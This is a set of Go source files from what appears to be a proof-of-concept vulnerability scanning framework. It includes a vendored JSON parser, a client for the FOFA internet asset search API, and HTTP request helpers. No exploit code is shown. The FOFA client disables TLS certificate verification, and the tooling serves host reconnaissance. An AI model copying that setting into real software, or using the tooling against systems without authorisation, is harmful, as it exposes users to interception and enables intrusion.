15 | MalformedStringError = errors.New("Value is string, but can't find closing '\"' symbol")
16 | MalformedArrayError = errors.New("Value is array, but can't find closing ']' symbol")
17 | MalformedObjectError = errors.New("Value looks like object, but can't find closing '}' symbol")
18 | MalformedValueError = errors.New("Value looks like Number/Boolean/None, but can't find its end: ',' or '}' symbol")
19 | MalformedStringEscapeError = errors.New("Encountered an invalid escape sequence in a string")
20 | )
21 |
22 | // How much stack space to allocate for unescaping JSON strings; if a string longer
23 | // than this needs to be escaped, it will result in a heap allocation
24 | const unescapeStackBufSize = 64
25 |
26 | func tokenEnd(data []byte) int {
27 | for i, c := range data {
28 | switch c {
29 | case ' ', '\n', '\r', '\t', ',', '}', ']':
30 | return i
31 | }
32 | }
33 |
34 | return -1
35 | }
36 |
37 | // Find position of next character which is not whitespace
38 | func nextToken(data []byte) int {
39 | for i, c := range data {
40 | switch c {
41 | case ' ', '\n', '\r', '\t':
42 | continue
43 | default:
44 | return i
45 | }
46 | }
47 |
48 | return -1
49 | }
50 |
51 | // Tries to find the end of string
52 | // Support if string contains escaped quote symbols.
53 | func stringEnd(data []byte) (int, bool) {
54 | escaped := false
55 | for i, c := range data {
56 | if c == '"' {
57 | if !escaped {
58 | return i + 1, false
59 | } else {
60 | j := i - 1
61 | for {
62 | if j < 0 || data[j] != '\\' {
63 | return i + 1, true // even number of backslashes
64 | }
65 | j--
66 | if j < 0 || data[j] != '\\' {
67 | break // odd number of backslashes
68 | }
69 | j--
70 |
71 | }
72 | }
73 | } else if c == '\\' {
74 | escaped = true
75 | }
76 | }
77 |
78 | return -1, escaped
79 | }
80 |
81 | // Find end of the data structure, array or object.
82 | // For array openSym and closeSym will be '[' and ']', for object '{' and '}'
83 | func blockEnd(data []byte, openSym byte, closeSym byte) int {
84 | level := 0
85 | i := 0
86 | ln := len(data)
87 |
88 | for i < ln {
89 | switch data[i] {
90 | case '"': // If inside string, skip it
91 | se, _ := stringEnd(data[i+1:])
92 | if se == -1 {
93 | return -1
94 | }
95 | i += se
96 | case openSym: // If open symbol, increase level
97 | level++
98 | case closeSym: // If close symbol, increase level
99 | level--
100 |
101 | // If we have returned to the original level, we're done
102 | if level == 0 {
103 | return i + 1
104 | }
105 | }
106 | i++
107 | }
108 |
109 | return -1
110 | }
111 |
112 | func searchKeys(data []byte, keys ...string) int {
113 | keyLevel := 0
114 | level := 0
115 | i := 0
116 | ln := len(data)
117 | lk := len(keys)
118 |
119 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings
120 |
121 | for i < ln {
122 | switch data[i] {
123 | case '"':
124 | i++
125 | keyBegin := i
126 |
127 | strEnd, keyEscaped := stringEnd(data[i:])
128 | if strEnd == -1 {
129 | return -1
130 | }
131 | i += strEnd
132 | keyEnd := i - 1
133 |
134 | valueOffset := nextToken(data[i:])
135 | if valueOffset == -1 {
136 | return -1
137 | }
138 |
139 | i += valueOffset
140 |
141 | // if string is a key, and key level match
142 | if data[i] == ':' && keyLevel == level-1 {
143 | key := data[keyBegin:keyEnd]
144 |
145 | // for unescape: if there are no escape sequences, this is cheap; if there are, it is a
146 | // bit more expensive, but causes no allocations unless len(key) > unescapeStackBufSize
147 | var keyUnesc []byte
148 | if !keyEscaped {
149 | keyUnesc = key
150 | } else if ku, err := Unescape(key, stackbuf[:]); err != nil {
151 | return -1
152 | } else {
153 | keyUnesc = ku
154 | }
155 |
156 | if equalStr(&keyUnesc, keys[level-1]) {
157 | keyLevel++
158 | // If we found all keys in path
159 | if keyLevel == lk {
160 | return i + 1
161 | }
162 | }
163 | } else {
164 | i--
165 | }
166 | case '{':
167 | level++
168 | case '}':
169 | level--
170 | case '[':
171 | // Do not search for keys inside arrays
172 | if arraySkip := blockEnd(data[i:], '[', ']'); arraySkip == -1 {
173 | return -1
174 | } else {
175 | i += arraySkip - 1
176 | }
177 | }
178 |
179 | i++
180 | }
181 |
182 | return -1
183 | }
184 |
185 | var bitwiseFlags []int64
186 |
187 | func init() {
188 | for i := 0; i < 63; i++ {
189 | bitwiseFlags = append(bitwiseFlags, int64(math.Pow(2, float64(i))))
190 | }
191 | }
192 |
193 | func sameTree(p1, p2 []string) bool {
194 | if len(p1) == 1 && len(p2) == 1 {
195 | return true
196 | }
197 |
198 | for pi_1, p_1 := range p1[:len(p1)-1] {
199 | if len(p2)-2 < pi_1 {
200 | break
201 | }
202 |
203 | if p2[pi_1] != p_1 {
204 | return false
205 | }
206 | }
207 |
208 | return true
209 | }
210 |
211 | func EachKey(data []byte, cb func(int, []byte, ValueType, error), paths ...[]string) int {
212 | var pathFlags, ignorePathFlags int64
213 | var level, pathsMatched, i int
214 | ln := len(data)
215 |
216 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings
217 |
218 | for i < ln {
219 | switch data[i] {
220 | case '"':
221 | i++
222 | keyBegin := i
223 |
224 | strEnd, keyEscaped := stringEnd(data[i:])
225 | if strEnd == -1 {
226 | return -1
227 | }
228 | i += strEnd
229 |
230 | keyEnd := i - 1
231 |
232 | valueOffset := nextToken(data[i:])
233 | if valueOffset == -1 {
234 | return -1
235 | }
236 |
237 | i += valueOffset
238 |
239 | // if string is a key, and key level match
240 | if data[i] == ':' {
241 | match := -1
242 | key := data[keyBegin:keyEnd]
243 |
244 | // for unescape: if there are no escape sequences, this is cheap; if there are, it is a
245 | // bit more expensive, but causes no allocations unless len(key) > unescapeStackBufSize
246 | var keyUnesc []byte
247 | if !keyEscaped {
248 | keyUnesc = key
249 | } else if ku, err := Unescape(key, stackbuf[:]); err != nil {
250 | return -1
251 | } else {
252 | keyUnesc = ku
253 | }
254 |
255 | for pi, p := range paths {
256 | if len(p) < level || (pathFlags&bitwiseFlags[pi]) != 0 || (ignorePathFlags&bitwiseFlags[pi] != 0) {
257 | continue
258 | }
259 |
260 | if equalStr(&keyUnesc, p[level-1]) {
261 | match = pi
262 |
263 | if len(p) == level {
264 | i++
265 | pathsMatched++
266 | pathFlags |= bitwiseFlags[pi]
267 |
268 | v, dt, of, e := Get(data[i:])
269 | cb(pi, v, dt, e)
270 |
271 | if of != -1 {
272 | i += of
273 | }
274 |
275 | if pathsMatched == len(paths) {
276 | return i
277 | }
278 | }
279 | }
280 | }
281 |
282 | if match == -1 {
283 | ignorePathFlags = 0
284 | tokenOffset := nextToken(data[i+1:])
285 | i += tokenOffset
286 |
287 | if data[i] == '{' {
288 | blockSkip := blockEnd(data[i:], '{', '}')
289 | i += blockSkip + 1
290 | }
291 | } else {
292 | m_p := paths[match]
293 |
294 | for pi, p := range paths {
295 | if pi == match {
296 | continue
297 | }
298 |
299 | if len(p) < level || (pathFlags&bitwiseFlags[pi]) != 0 || (ignorePathFlags&bitwiseFlags[pi] != 0) {
300 | continue
301 | }
302 |
303 | if !sameTree(m_p, p) {
304 | ignorePathFlags |= bitwiseFlags[pi]
305 | }
306 | }
307 | }
308 |
309 | switch data[i] {
310 | case '{', '}', '[', '"':
311 | i--
312 | }
313 | } else {
314 | i--
315 | }
316 | case '{':
317 | level++
318 | case '}':
319 | level--
320 | case '[':
321 | // Do not search for keys inside arrays
322 | if arraySkip := blockEnd(data[i:], '[', ']'); arraySkip == -1 {
323 | return -1
324 | } else {
325 | i += arraySkip - 1
326 | }
327 | }
328 |
329 | i++
330 | }
331 |
332 | return -1
333 | }
334 |
335 | // Data types available in valid JSON data.
336 | type ValueType int
337 |
338 | const (
339 | NotExist = ValueType(iota)
340 | String
341 | Number
342 | Object
343 | Array
344 | Boolean
345 | Null
346 | Unknown
347 | )
348 |
349 | func (vt ValueType) String() string {
350 | switch vt {
351 | case NotExist:
352 | return "non-existent"
353 | case String:
354 | return "string"
355 | case Number:
356 | return "number"
357 | case Object:
358 | return "object"
359 | case Array:
360 | return "array"
361 | case Boolean:
362 | return "boolean"
363 | case Null:
364 | return "null"
365 | default:
366 | return "unknown"
367 | }
368 | }
369 |
370 | var (
371 | trueLiteral = []byte("true")
372 | falseLiteral = []byte("false")
373 | nullLiteral = []byte("null")
374 | )
375 |
376 | /*
377 | Get - Receives data structure, and key path to extract value from.
378 |
379 | Returns:
380 | `value` - Pointer to original data structure containing key value, or just empty slice if nothing found or error
381 | `dataType` - Can be: `NotExist`, `String`, `Number`, `Object`, `Array`, `Boolean` or `Null`
382 | `offset` - Offset from provided data structure where key value ends. Used mostly internally, for example for `ArrayEach` helper.
383 | `err` - If key not found or any other parsing issue it should return error. If key not found it also sets `dataType` to `NotExist`
384 |
385 | Accept multiple keys to specify path to JSON value (in case of quering nested structures).
386 | If no keys provided it will try to extract closest JSON value (simple ones or object/array), useful for reading streams or arrays, see `ArrayEach` implementation.
387 | */
388 | func Get(data []byte, keys ...string) (value []byte, dataType ValueType, offset int, err error) {
389 | if len(keys) > 0 {
390 | if offset = searchKeys(data, keys...); offset == -1 {
391 | return []byte{}, NotExist, -1, KeyPathNotFoundError
392 | }
393 | }
394 |
395 | // Go to closest value
396 | nO := nextToken(data[offset:])
397 | if nO == -1 {
398 | return []byte{}, NotExist, -1, MalformedJsonError
399 | }
400 |
401 | offset += nO
402 |
403 | endOffset := offset
404 | // if string value
405 | if data[offset] == '"' {
406 | dataType = String
407 | if idx, _ := stringEnd(data[offset+1:]); idx != -1 {
408 | endOffset += idx + 1
409 | } else {
410 | return []byte{}, dataType, offset, MalformedStringError
411 | }
412 | } else if data[offset] == '[' { // if array value
413 | dataType = Array
414 | // break label, for stopping nested loops
415 | endOffset = blockEnd(data[offset:], '[', ']')
416 |
417 | if endOffset == -1 {
418 | return []byte{}, dataType, offset, MalformedArrayError
419 | }
420 |
421 | endOffset += offset
422 | } else if data[offset] == '{' { // if object value
423 | dataType = Object
424 | // break label, for stopping nested loops
425 | endOffset = blockEnd(data[offset:], '{', '}')
426 |
427 | if endOffset == -1 {
428 | return []byte{}, dataType, offset, MalformedObjectError
429 | }
430 |
431 | endOffset += offset
432 | } else {
433 | // Number, Boolean or None
434 | end := tokenEnd(data[endOffset:])
435 |
436 | if end == -1 {
437 | return nil, dataType, offset, MalformedValueError
438 | }
439 |
440 | value := data[offset : endOffset+end]
441 |
442 | switch data[offset] {
443 | case 't', 'f': // true or false
444 | if bytes.Equal(value, trueLiteral) || bytes.Equal(value, falseLiteral) {
445 | dataType = Boolean
446 | } else {
447 | return nil, Unknown, offset, UnknownValueTypeError
448 | }
449 | case 'u', 'n': // undefined or null
450 | if bytes.Equal(value, nullLiteral) {
451 | dataType = Null
452 | } else {
453 | return nil, Unknown, offset, UnknownValueTypeError
454 | }
455 | case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-':
456 | dataType = Number
457 | default:
458 | return nil, Unknown, offset, UnknownValueTypeError
459 | }
460 |
461 | endOffset += end
462 | }
463 |
464 | value = data[offset:endOffset]
465 |
466 | // Strip quotes from string values
467 | if dataType == String {
468 | value = value[1 : len(value)-1]
469 | }
470 |
471 | if dataType == Null {
472 | value = []byte{}
473 | }
474 |
475 | return value, dataType, endOffset, nil
476 | }
477 |
478 | // ArrayEach is used when iterating arrays, accepts a callback function with the same return arguments as `Get`.
479 | func ArrayEach(data []byte, cb func(value []byte, dataType ValueType, offset int, err error), keys ...string) (err error) {
480 | if len(data) == 0 {
481 | return MalformedObjectError
482 | }
483 |
484 | offset := 1
485 |
486 | if len(keys) > 0 {
487 | if offset = searchKeys(data, keys...); offset == -1 {
488 | return KeyPathNotFoundError
489 | }
490 |
491 | // Go to closest value
492 | nO := nextToken(data[offset:])
493 | if nO == -1 {
494 | return MalformedJsonError
495 | }
496 |
497 | offset += nO
498 |
499 | if data[offset] != '[' {
500 | return MalformedArrayError
501 | }
502 |
503 | offset++
504 | }
505 |
506 | for true {
507 | v, t, o, e := Get(data[offset:])
508 |
509 | if o == 0 {
510 | break
511 | }
512 |
513 | if t != NotExist {
514 | cb(v, t, o, e)
515 | }
516 |
517 | if e != nil {
518 | break
519 | }
520 |
521 | offset += o
522 |
523 | skipToToken := nextToken(data[offset:])
524 | if skipToToken == -1 {
525 | return MalformedArrayError
526 | }
527 | offset += skipToToken
528 |
529 | if data[offset] == ']' {
530 | break
531 | }
532 |
533 | if data[offset] != ',' {
534 | return MalformedArrayError
535 | }
536 |
537 | offset++
538 | }
539 |
540 | return nil
541 | }
542 |
543 | // ObjectEach iterates over the key-value pairs of a JSON object, invoking a given callback for each such entry
544 | func ObjectEach(data []byte, callback func(key []byte, value []byte, dataType ValueType, offset int) error, keys ...string) (err error) {
545 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings
546 | offset := 0
547 |
548 | // Descend to the desired key, if requested
549 | if len(keys) > 0 {
550 | if off := searchKeys(data, keys...); off == -1 {
551 | return KeyPathNotFoundError
552 | } else {
553 | offset = off
554 | }
555 | }
556 |
557 | // Validate and skip past opening brace
558 | if off := nextToken(data[offset:]); off == -1 {
559 | return MalformedObjectError
560 | } else if offset += off; data[offset] != '{' {
561 | return MalformedObjectError
562 | } else {
563 | offset++
564 | }
565 |
566 | // Skip to the first token inside the object, or stop if we find the ending brace
567 | if off := nextToken(data[offset:]); off == -1 {
568 | return MalformedJsonError
569 | } else if offset += off; data[offset] == '}' {
570 | return nil
571 | }
572 |
573 | // Loop pre-condition: data[offset] points to what should be either the next entry's key, or the closing brace (if it's anything else, the JSON is malformed)
574 | for offset < len(data) {
575 | // Step 1: find the next key
576 | var key []byte
577 |
578 | // Check what the the next token is: start of string, end of object, or something else (error)
579 | switch data[offset] {
580 | case '"':
581 | offset++ // accept as string and skip opening quote
582 | case '}':
583 | return nil // we found the end of the object; stop and return success
584 | default:
585 | return MalformedObjectError
586 | }
587 |
588 | // Find the end of the key string
589 | var keyEscaped bool
590 | if off, esc := stringEnd(data[offset:]); off == -1 {
591 | return MalformedJsonError
592 | } else {
593 | key, keyEscaped = data[offset:offset+off-1], esc
594 | offset += off
595 | }
596 |
597 | // Unescape the string if needed
598 | if keyEscaped {
599 | if keyUnescaped, err := Unescape(key, stackbuf[:]); err != nil {
600 | return MalformedStringEscapeError
601 | } else {
602 | key = keyUnescaped
603 | }
604 | }
605 |
606 | // Step 2: skip the colon
607 | if off := nextToken(data[offset:]); off == -1 {
608 | return MalformedJsonError
609 | } else if offset += off; data[offset] != ':' {
610 | return MalformedJsonError
611 | } else {
612 | offset++
613 | }
614 |
615 | // Step 3: find the associated value, then invoke the callback
616 | if value, valueType, off, err := Get(data[offset:]); err != nil {
617 | return err
618 | } else if err := callback(key, value, valueType, offset+off); err != nil { // Invoke the callback here!
619 | return err
620 | } else {
621 | offset += off
622 | }
623 |
624 | // Step 4: skip over the next comma to the following token, or stop if we hit the ending brace
625 | if off := nextToken(data[offset:]); off == -1 {
626 | return MalformedArrayError
627 | } else {
628 | offset += off
629 | switch data[offset] {
630 | case '}':
631 | return nil // Stop if we hit the close brace
632 | case ',':
633 | offset++ // Ignore the comma
634 | default:
635 | return MalformedObjectError
636 | }
637 | }
638 |
639 | // Skip to the next token after the comma
640 | if off := nextToken(data[offset:]); off == -1 {
641 | return MalformedArrayError
642 | } else {
643 | offset += off
644 | }
645 | }
646 |
647 | return MalformedObjectError // we shouldn't get here; it's expected that we will return via finding the ending brace
648 | }
649 |
650 | // GetUnsafeString returns the value retrieved by `Get`, use creates string without memory allocation by mapping string to slice memory. It does not handle escape symbols.
651 | func GetUnsafeString(data []byte, keys ...string) (val string, err error) {
652 | v, _, _, e := Get(data, keys...)
653 |
654 | if e != nil {
655 | return "", e
656 | }
657 |
658 | return bytesToString(&v), nil
659 | }
660 |
661 | // GetString returns the value retrieved by `Get`, cast to a string if possible, trying to properly handle escape and utf8 symbols
662 | // If key data type do not match, it will return an error.
663 | func GetString(data []byte, keys ...string) (val string, err error) {
664 | v, t, _, e := Get(data, keys...)
665 |
666 | if e != nil {
667 | return "", e
668 | }
669 |
670 | if t != String {
671 | return "", fmt.Errorf("Value is not a number: %s", string(v))
672 | }
673 |
674 | // If no escapes return raw conten
675 | if bytes.IndexByte(v, '\\') == -1 {
676 | return string(v), nil
677 | }
678 |
679 | return ParseString(v)
680 | }
681 |
682 | // GetFloat returns the value retrieved by `Get`, cast to a float64 if possible.
683 | // The offset is the same as in `Get`.
684 | // If key data type do not match, it will return an error.
685 | func GetFloat(data []byte, keys ...string) (val float64, err error) {
686 | v, t, _, e := Get(data, keys...)
687 |
688 | if e != nil {
689 | return 0, e
690 | }
691 |
692 | if t != Number {
693 | return 0, fmt.Errorf("Value is not a number: %s", string(v))
694 | }
695 |
696 | return ParseFloat(v)
697 | }
698 |
699 | // GetInt returns the value retrieved by `Get`, cast to a int64 if possible.
700 | // If key data type do not match, it will return an error.
701 | func GetInt(data []byte, keys ...string) (val int64, err error) {
702 | v, t, _, e := Get(data, keys...)
703 |
704 | if e != nil {
705 | return 0, e
706 | }
707 |
708 | if t != Number {
709 | return 0, fmt.Errorf("Value is not a number: %s", string(v))
710 | }
711 |
712 | return ParseInt(v)
713 | }
714 |
715 | // GetBoolean returns the value retrieved by `Get`, cast to a bool if possible.
716 | // The offset is the same as in `Get`.
717 | // If key data type do not match, it will return error.
718 | func GetBoolean(data []byte, keys ...string) (val bool, err error) {
719 | v, t, _, e := Get(data, keys...)
720 |
721 | if e != nil {
722 | return false, e
723 | }
724 |
725 | if t != Boolean {
726 | return false, fmt.Errorf("Value is not a boolean: %s", string(v))
727 | }
728 |
729 | return ParseBoolean(v)
730 | }
731 |
732 | // ParseBoolean parses a Boolean ValueType into a Go bool (not particularly useful, but here for completeness)
733 | func ParseBoolean(b []byte) (bool, error) {
734 | switch {
735 | case bytes.Equal(b, trueLiteral):
736 | return true, nil
737 | case bytes.Equal(b, falseLiteral):
738 | return false, nil
739 | default:
740 | return false, MalformedValueError
741 | }
742 | }
743 |
744 | // ParseString parses a String ValueType into a Go string (the main parsing work is unescaping the JSON string)
745 | func ParseString(b []byte) (string, error) {
746 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings
747 | if bU, err := Unescape(b, stackbuf[:]); err != nil {
748 | return "", nil
749 | } else {
750 | return string(bU), nil
751 | }
752 | }
753 |
754 | // ParseNumber parses a Number ValueType into a Go float64
755 | func ParseFloat(b []byte) (float64, error) {
756 | if v, err := parseFloat(&b); err != nil {
757 | return 0, MalformedValueError
758 | } else {
759 | return v, nil
760 | }
761 | }
762 |
763 | // ParseInt parses a Number ValueType into a Go int64
764 | func ParseInt(b []byte) (int64, error) {
765 | if v, ok := parseInt(b); !ok {
766 | return 0, MalformedValueError
767 | } else {
768 | return v, nil
769 | }
770 | }
771 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/fofapro/fofa-go/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2016 baimaohui
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/fofapro/fofa-go/fofa/fofa.go:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2016 baimaohui
2 |
3 | // Permission is hereby granted, free of charge, to any person obtaining a
4 | // copy of this software and associated documentation files (the "Software"),
5 | // to deal in the Software without restriction, including without limitation
6 | // the rights to use, copy, modify, merge, publish, distribute, sublicense,
7 | // and/or sell copies of the Software, and to permit persons to whom the
8 | // Software is furnished to do so, subject to the following conditions:
9 |
10 | // The above copyright notice and this permission notice shall be included
11 | // in all copies or substantial portions of the Software.
12 |
13 | // Package fofa implements some fofa-api utility functions.
14 | package fofa
15 |
16 | import (
17 | "bytes"
18 | "crypto/tls"
19 | "encoding/base64"
20 | "encoding/json"
21 | "errors"
22 | "fmt"
23 | "github.com/buger/jsonparser"
24 | "io/ioutil"
25 | "log"
26 | "net/http"
27 | "strconv"
28 | "strings"
29 | )
30 |
31 | // Fofa a fofa client can be used to make queries
32 | type Fofa struct {
33 | email []byte
34 | key []byte
35 | *http.Client
36 | }
37 |
38 | // Result represents a record of the query results
39 | // contain domain host ip port title country city
40 | type result struct {
41 | Domain string `json:"domain,omitempty"`
42 | Host string `json:"host,omitempty"`
43 | IP string `json:"ip,omitempty"`
44 | Port string `json:"port,omitempty"`
45 | Title string `json:"title,omitempty"`
46 | Country string `json:"country,omitempty"`
47 | City string `json:"city,omitempty"`
48 | }
49 |
50 | // User struct for fofa user
51 | type User struct {
52 | Email string `json:"email,omitempty"`
53 | Fcoin int `json:"fcoin,omitempty"`
54 | Vip bool `json:"bool,omitempty"`
55 | Avatar string `json:"avatar,omitempty"`
56 | Err string `json:"errmsg,omitempty"`
57 | }
58 |
59 | // Results fofa result set
60 | type Results []result
61 |
62 | const (
63 | defaultAPIUrl = "https://fofa.info/api/v1/search/all?"
64 | )
65 |
66 | var (
67 | errFofaReplyWrongFormat = errors.New("Fofa Reply With Wrong Format")
68 | errFofaReplyNoData = errors.New("No Data In Fofa Reply")
69 | )
70 |
71 | // NewFofaClient create a fofa client
72 | func NewFofaClient(email, key []byte) *Fofa {
73 |
74 | transCfg := &http.Transport{
75 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
76 | }
77 |
78 | return &Fofa{
79 | email: email,
80 | key: key,
81 | Client: &http.Client{
82 | Transport: transCfg, // disable tls verify
83 | },
84 | }
85 | }
86 |
87 | // Get overwrite http.Get
88 | func (ff *Fofa) Get(u string) ([]byte, error) {
89 |
90 | body, err := ff.Client.Get(u)
91 | if err != nil {
92 | return nil, err
93 | }
94 | defer body.Body.Close()
95 | content, err := ioutil.ReadAll(body.Body)
96 | if err != nil {
97 | return nil, err
98 | }
99 | return content, nil
100 | }
101 |
102 | // QueryAsJSON make a fofa query and return json data as result
103 | // echo 'domain="nosec.org"' | base64 - | xargs -I{}
104 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}"
105 | // host title ip domain port country city
106 | func (ff *Fofa) QueryAsJSON(page uint, args ...[]byte) ([]byte, error) {
107 | var (
108 | query = []byte(nil)
109 | fields = []byte("domain,host,ip,port,title,country,city")
110 | q = []byte(nil)
111 | )
112 | switch {
113 | case len(args) == 1 || (len(args) == 2 && args[1] == nil):
114 | query = args[0]
115 | case len(args) == 2:
116 | query = args[0]
117 | fields = args[1]
118 | }
119 |
120 | q = []byte(base64.StdEncoding.EncodeToString(query))
121 | q = bytes.Join([][]byte{[]byte(defaultAPIUrl),
122 | []byte("email="), ff.email,
123 | []byte("&key="), ff.key,
124 | []byte("&qbase64="), q,
125 | []byte("&fields="), fields,
126 | []byte("&page="), []byte(strconv.Itoa(int(page))),
127 | }, []byte(""))
128 | fmt.Printf("%s\n", q)
129 | content, err := ff.Get(string(q))
130 | if err != nil {
131 | return nil, err
132 | }
133 | errmsg, err := jsonparser.GetString(content, "errmsg")
134 | if err == nil {
135 | err = errors.New(errmsg)
136 | } else {
137 | err = nil
138 | }
139 | return content, err
140 | }
141 |
142 | // QueryAsArray make a fofa query and
143 | // return array data as result
144 | // echo 'domain="nosec.org"' | base64 - | xargs -I{}
145 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}"
146 | func (ff *Fofa) QueryAsArray(page uint, args ...[]byte) (result Results, err error) {
147 |
148 | var content []byte
149 |
150 | content, err = ff.QueryAsJSON(page, args...)
151 | if err != nil {
152 | return nil, err
153 | }
154 |
155 | errmsg, err := jsonparser.GetString(content, "errmsg")
156 | // err equals to nil on error
157 | if err == nil {
158 | return nil, errors.New(errmsg)
159 | }
160 |
161 | err = json.Unmarshal(content, &result)
162 |
163 | return
164 | }
165 |
166 | // UserInfo get user information
167 | func (ff *Fofa) UserInfo() (user *User, err error) {
168 | user = new(User)
169 | queryStr := strings.Join([]string{"https://fofa.so/api/v1/info/my?email=", string(ff.email), "&key=", string(ff.key)}, "")
170 |
171 | content, err := ff.Get(queryStr)
172 |
173 | if err != nil {
174 | return nil, err
175 | }
176 |
177 | if err = json.Unmarshal(content, user); err != nil {
178 | return nil, err
179 | }
180 |
181 | if len(user.Err) != 0 {
182 | return nil, errors.New(user.Err)
183 | }
184 |
185 | return user, nil
186 | }
187 |
188 | func (u *User) String() string {
189 | data, err := json.Marshal(u)
190 | if err != nil {
191 | log.Fatalf("json marshal failed. err: %s\n", err)
192 | return ""
193 | }
194 | return string(data)
195 | }
196 |
197 | func (r *result) String() string {
198 | data, err := json.Marshal(r)
199 | if err != nil {
200 | log.Fatalf("json marshal failed. err: %s\n", err)
201 | return ""
202 | }
203 | return string(data)
204 | }
205 |
206 | func (r *Results) String() string {
207 | data, err := json.Marshal(r)
208 | if err != nil {
209 | log.Fatalf("json marshal failed. err: %s\n", err)
210 | return ""
211 | }
212 | return string(data)
213 | }
214 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/modules.txt:
--------------------------------------------------------------------------------
1 | # github.com/buger/jsonparser v0.0.0-20160922145946-f04e003e4115
2 | ## explicit
3 | github.com/buger/jsonparser
4 | # github.com/fofapro/fofa-go v0.0.0-20200317042037-c0caee09013d
5 | ## explicit
6 | github.com/fofapro/fofa-go/fofa
7 |
--------------------------------------------------------------------------------
/main/Developer/HttpAbout/GlobalVar.go:
--------------------------------------------------------------------------------
1 | package HttpAbout
2 |
3 | var InputProxy string
4 |
--------------------------------------------------------------------------------
/main/Developer/HttpAbout/HttpConfig.go:
--------------------------------------------------------------------------------
1 | package HttpAbout
2 |
3 | import (
4 | "net/http"
5 | "time"
6 | )
7 |
8 | type SetHttpConfig struct {
9 | TimeOut time.Duration // 请求等待时间
10 | Method string // 请求方法
11 | Body string // 请求体
12 | Uri string // 请求的路径
13 | Client *http.Client // 代理选项
14 | Header map[string]string //请求头
15 | IsRedirect bool // 是否重定向
16 | }
17 |
18 | func NewHttpConfig() SetHttpConfig {
19 | var config SetHttpConfig
20 | config.Header = make(map[string]string)
21 | return config
22 | }
23 |
--------------------------------------------------------------------------------
/main/Developer/HttpAbout/SendHttpRequst.go:
--------------------------------------------------------------------------------
1 | package HttpAbout
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "context"
6 | "fmt"
7 | "io"
8 | "math/rand"
9 | "net/http"
10 | "strings"
11 | "time"
12 | )
13 |
14 | func SendHttpRequest(hostInfo string, config SetHttpConfig) (Format.CustomResponseFormat, error) {
15 | var customResponse Format.CustomResponseFormat
16 | if !strings.HasPrefix(strings.ToLower(hostInfo), "http://") && !strings.HasPrefix(strings.ToLower(hostInfo), "https://") {
17 | if !strings.HasPrefix(strings.ToLower(hostInfo), "http://") {
18 | hostInfo = "http://" + hostInfo
19 | } else {
20 | hostInfo = "https://" + hostInfo
21 | }
22 | }
23 | config.Client = SetProxy(InputProxy, config.IsRedirect)
24 |
25 | if config.Method == "" {
26 | config.Method = "GET"
27 | } else if strings.ToLower(config.Method) == "post" || strings.ToLower(config.Method) == "p" {
28 | config.Method = "POST"
29 | } else if strings.ToLower(config.Method) == "get" || strings.ToLower(config.Method) == "g" {
30 | config.Method = "GET"
31 | }
32 |
33 | // Create an HTTP.Request object
34 | procedureRequest, err := http.NewRequest(config.Method, hostInfo+config.Uri, strings.NewReader(config.Body))
35 | if err != nil {
36 | return customResponse, err
37 | }
38 |
39 | // Set a timeout for the request
40 | if config.TimeOut <= 0 {
41 | config.TimeOut = 5
42 | }
43 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*config.TimeOut)
44 |
45 | ProcessPackagesForCode(procedureRequest, config)
46 | procedureRequest = procedureRequest.WithContext(ctx)
47 | // Send request and obtain response results
48 | procedureResponse, err := config.Client.Do(procedureRequest)
49 | if err != nil {
50 | cancel()
51 | return customResponse, err
52 | }
53 |
54 | // 对自定义Response进行赋值
55 | bodyOfExecutionResults, err := io.ReadAll(procedureResponse.Body)
56 | if config.Method == "GET" && err != nil {
57 | cancel()
58 | return customResponse, err
59 | }
60 |
61 | responseText := fmt.Sprintf("HTTP/1.1 %s\n", procedureResponse.Status)
62 | for key, values := range procedureResponse.Header {
63 | for _, value := range values {
64 | responseText += fmt.Sprintf("%s: %s\n", key, value)
65 | }
66 | }
67 | responseText += "\n" + string(bodyOfExecutionResults)
68 |
69 | customResponse.Raw = responseText
70 |
71 | customResponse.Body = string(bodyOfExecutionResults)
72 | customResponse.Request = procedureResponse.Request
73 | customResponse.Header = procedureResponse.Header
74 | customResponse.Status = procedureResponse.Status
75 | customResponse.RawBody = procedureResponse.Body
76 | customResponse.Close = procedureResponse.Close
77 | customResponse.ContentLength = procedureResponse.ContentLength
78 | customResponse.Proto = procedureResponse.Proto
79 | customResponse.ProtoMajor = procedureResponse.ProtoMajor
80 | customResponse.ProtoMinor = procedureResponse.ProtoMinor
81 | customResponse.TLS = procedureResponse.TLS
